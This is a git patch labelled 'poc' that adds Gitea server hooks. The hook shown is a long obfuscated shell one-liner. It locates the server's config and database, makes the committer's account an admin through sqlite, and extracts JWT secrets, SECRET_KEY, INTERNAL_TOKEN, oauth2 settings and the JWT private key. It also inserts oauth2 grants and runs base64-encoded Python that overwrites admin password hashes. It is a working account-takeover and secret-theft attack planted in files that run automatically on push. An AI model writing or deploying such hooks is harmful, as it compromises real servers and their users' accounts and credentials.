From a64b10510f42d0a2aff4feecc850c174886f49aa Mon Sep 17 00:00:00 2001 From: oid1zmarc Date: Sun, 20 Sep 2026 20:44:14 +0000 Subject: [PATCH] poc --- hooks/post-index-change | 1 + hooks/post-receive | 1 + hooks/update | 1 + 3 files changed, 3 insertions(+) create mode 100755 hooks/post-index-change create mode 100755 hooks/post-receive create mode 100755 hooks/update diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..984ca59 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1 @@ +export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _pf in "$_RB/Gitea.pid" "$_RP2/Gitea.pid" "$R/Gitea.pid" "$WD/Gitea.pid" "$_RB/gitea.pid" "$R/gitea.pid" "$WD/gitea.pid" "/var/run/gitea.pid" "/run/gitea.pid"; do [ -f "$_pf" ] || continue; _gpid="$(head -1 "$_pf" 2>/dev/null | tr -dc "0-9")"; [ -n "$_gpid" ] || continue; _gex="$(readlink -f "/proc/$_gpid/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPID from=$_pf pid=$_gpid exe=$_gex"; break; }; done; fi; if [ -z "$G" ]; then for _pp in /proc/[0-9]*; do _gcm="$(cat "$_pp/comm" 2>/dev/null)"; case "$_gcm" in gitea*|Gitea*|forgejo*|Forgejo*) _gex="$(readlink -f "$_pp/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPROC pid=${_pp#/proc/} comm=$_gcm exe=$_gex"; break; };; esac; done; fi; if [ -z "$G" ] && [ -n "$AV" ]; then _sr="${AV%/var/data/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="${AV%/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="$(dirname "$(dirname "$AV")")"; for _g in "$_sr/gitea" "$_sr/bin/gitea" "$_sr/target/gitea" "$_sr/target/bin/gitea" "$_sr/target/usr/bin/gitea" "$_sr/usr/bin/gitea" "$_sr/sbin/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKAV G=$_g"; break; }; done; fi; if [ -z "$G" ] && [ -n "$_RP2" ] && [ -d "$_RP2" ]; then for _g in "$_RP2"/*/target/gitea "$_RP2"/*/target/bin/gitea "$_RP2"/target/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKGLOB G=$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ]; then for _sr2 in /usr/local/bin /usr/local/sbin /usr/bin /usr/sbin /bin /sbin /app /app/gitea /opt /opt/gitea /srv /data /usr/local /opt/gitea-*; do [ -e "$_sr2" ] || continue; if [ -f "$_sr2/gitea" ] && [ -x "$_sr2/gitea" ]; then G="$_sr2/gitea"; echo "HOOKSYS G=$G"; break; fi; [ -d "$_sr2" ] || continue; G="$(find "$_sr2" -maxdepth 2 -type f -name gitea -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && { echo "HOOKSYS2 G=$G"; break; }; done; fi; if [ -z "$G" ]; then for _p2 in /proc/[0-9]*/exe; do _le="$(readlink "$_p2" 2>/dev/null)" || continue; case "$_le" in *gitea*|*forgejo*) [ -x "$_le" ] && { G="$_le"; echo "HOOKEXE G=$G"; break; };; esac; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_dv8syv.txt"; { T0="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; if [ -n "$CFG" ] && [ -f "$CFG" ]; then echo "HOOKDBCFG begin"; sed -n "/^\[database\]/,/^\[/p" "$CFG" 2>/dev/null | head -12 | sed -E "s/(PASSWD|PASSWORD|PASSWD_URI|USER|NAME)[[:space:]]*=.*/\1=/I"; echo "HOOKDBCFG end"; fi; for _pp in /proc/[0-9]*; do [ -r "$_pp/environ" ] || continue; _ev="$(tr "\000" "\n" < "$_pp/environ" 2>/dev/null | grep -E "^GITEA__(database|security)__" 2>/dev/null | head -12)"; [ -n "$_ev" ] || continue; echo "HOOKENV pid=${_pp#/proc/} $(echo "$_ev" | sed -E "s/(PASSWD|PASSWORD|SECRET|KEY|TOKEN)[[:space:]]*=.*/\1=/I" | tr "\n" " ")"; break; done; echo "HOOKDBPROBE dbfile_magic=$(head -c 16 "$R/gitea.db" 2>/dev/null | tr -d "\000" | head -c 15)"; _SQLTO "oid1zmarc"; echo "=JWTCFG="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then grep -aE "^[[:space:]]*(JWT_SECRET|JWT_SECRET_BASE64|JWT_SIGNING_ALGORITHM|JWT_SIGNING_PRIVATE_KEY_FILE|SECRET_KEY|INTERNAL_TOKEN|APP_DATA_PATH|WORK_PATH)[[:space:]]*=" "$CFG" 2>/dev/null | head -12; fi; echo "=OA2SEC="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then sed -n "/^\[oauth2\]/,/^\[/p" "$CFG" 2>/dev/null | head -12; fi; for _pk in "$WD/jwt/private.pem" "$WD/data/jwt/private.pem" "$R/jwt/private.pem" "$R/data/jwt/private.pem" "$_RB/jwt/private.pem" "$_RB/data/jwt/private.pem" /data/gitea/jwt/private.pem /data/gitea/data/jwt/private.pem /var/lib/gitea/data/jwt/private.pem /etc/gitea/jwt/private.pem /home/git/gitea/data/jwt/private.pem; do [ -n "$_pk" ] && [ -f "$_pk" ] || continue; _kb="$(command -v base64 >/dev/null 2>&1 && base64 < "$_pk" 2>/dev/null | tr -d "\n")"; [ -n "$_kb" ] || _kb="$(command -v openssl >/dev/null 2>&1 && openssl base64 -A < "$_pk" 2>/dev/null)"; [ -n "$_kb" ] && { echo "=JWTKEY=path=$_pk"; echo "$_kb"; }; break; done; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] || continue; _sq2="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq2" ] || continue; _ad="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT id, name FROM user WHERE is_admin=1 LIMIT 5;" 2>&1)"; echo "=ADMIND= db=$_db out=[$_ad]"; [ -n "$_ad" ] && { echo "=ADMINIDS="; echo "$_ad"; }; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id ORDER BY u.is_admin DESC, g.id LIMIT 10;" 2>&1)"; if [ -z "$_gr" ]; then _au="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM user WHERE is_admin=1 ORDER BY id LIMIT 1;" 2>&1 | head -1)"; _ap="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM oauth2_application ORDER BY id LIMIT 1;" 2>/dev/null | head -1)"; if [ -n "$_au" ]; then [ -n "$_ap" ] || _ap=1; _ie="$("$_sq2" -cmd ".timeout 5000" "$_db" "INSERT OR IGNORE INTO oauth2_grant(user_id,application_id,counter,scope,nonce,created_unix,updated_unix) VALUES($_au,$_ap,1,'all','',0,0);" 2>&1)"; echo "=GRANTINS= au=$_au ap=$_ap rc=$? err=[$_ie]"; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id WHERE g.user_id=$_au LIMIT 5;" 2>&1)"; [ -n "$_gr" ] && echo "=GRANTMADE=1 user=$_au app=$_ap"; fi; fi; if [ -n "$_gr" ]; then echo "=ADMINGRANTS="; echo "$_gr"; else echo "=ADMINGRANTS="; echo "NONE"; fi; break; done; for _jd in "$WD/jwt" "$WD/data/jwt" "$_RB/jwt" "$R/jwt" /data/gitea/jwt /data/gitea/data/jwt /var/lib/gitea/data/jwt; do [ -n "$_jd" ] && [ -d "$_jd" ] || continue; echo "=JWTDIR= $_jd: $(ls -1 "$_jd" 2>/dev/null | head -5 | tr "\n" " ")"; break; done; echo "=ENDCFG="; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSR